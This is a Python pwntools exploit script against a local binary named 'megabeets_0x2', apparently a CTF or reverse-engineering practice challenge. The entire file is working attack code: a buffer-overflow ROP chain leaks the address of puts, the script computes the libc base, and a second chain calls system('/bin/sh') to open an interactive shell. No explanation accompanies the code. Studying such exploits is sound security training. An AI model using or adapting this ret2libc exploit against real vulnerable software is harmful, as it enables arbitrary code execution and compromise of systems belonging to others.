from pwn import *


# Addresses
puts_plt    = 0x8049050
puts_got    = 0x804c014
entry_point = 0x8049080

# Offsets
offset_puts    = 0x00068de0
offset_system  = 0x0003e430
offset_cmd_str = 0x0017eb0e
offset_exit    = 0x00031490

def main():
    # open process
    p = process("./megabeets_0x2")

    # Stage 1
    # Initial payload
    padding   = bytes("A"*140, 'utf-8') # Padding
    ropchain  = p32(puts_plt)
    ropchain += p32(entry_point)
    ropchain += p32(puts_got)
    payload   = padding + ropchain

    p.clean()
    p.sendline(payload)

    # Take 4 bytes of the output
    leak = u32(p.recv(4))
    log.info("puts is at: 0x%x" % leak)
    p.clean()

    # Stage 2
    # Calculate libc base
    libc_base = leak - offset_puts
    log.info("libc base: 0x%x" % libc_base)

    # Calculate addresses
    addr_system  = libc_base + offset_system
    addr_cmd_str = libc_base + offset_cmd_str
    addr_exit    = libc_base + offset_exit

    log.info("system: 0x%x" % addr_system)
    log.info("/bin/sh string: 0x%x" % addr_cmd_str)
    log.info("exit: 0x%x" % addr_exit)

    # Build the shellcode payload
    ropchain  = p32(addr_system)
    ropchain += p32(addr_exit)
    ropchain += p32(addr_cmd_str)

    payload = padding + ropchain
    p.sendline(payload)

    log.success("Here comes the shell!")

    p.clean()
    p.interactive()

if __name__ == "__main__":
    main()
